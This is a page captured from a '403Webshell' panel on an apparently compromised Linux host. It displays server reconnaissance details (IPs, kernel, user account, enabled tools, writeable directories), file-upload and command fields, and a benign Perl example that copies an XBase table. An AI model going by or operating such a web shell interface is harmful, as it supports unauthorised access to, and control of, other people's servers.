403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.216.240
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/doc/libdbd-xbase-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/doc/libdbd-xbase-perl/examples/copy_table
#!/usr/bin/perl -w

#
# This example shows how to copy a table to a new one. Note the new
# and drop that will ensure delete on previous copy. Then you use
# create as the method of the old table, so that you do not need to
# specify the fields. Then get_record and set_record in the new
# table in the while loop, skipping (next) those with _DELETED flag
# set.
#

use strict;
use XBase;

my $dir = ( -d 't/' ? 't/' : '' );
my $table = new XBase("${dir}test") or die XBase->errstr();

my $newtable;
$newtable = new XBase("jezek");
$newtable->drop() if defined $newtable;
$newtable = $table->create("name" => "jezek") or die $table->errstr();

my $outno = 0;
for my $recno (0 .. $table->last_record())
	{
	my @data = $table->get_record($recno) or die $table->errstr();
	next if shift @data;
	$newtable->set_record($outno++, @data) or die $newtable->errstr();
	}

$table->close() or die $table->errstr();
$newtable->close() or die $newtable->errstr();


Youez - 2016 - github.com/yon3zu
LinuXploit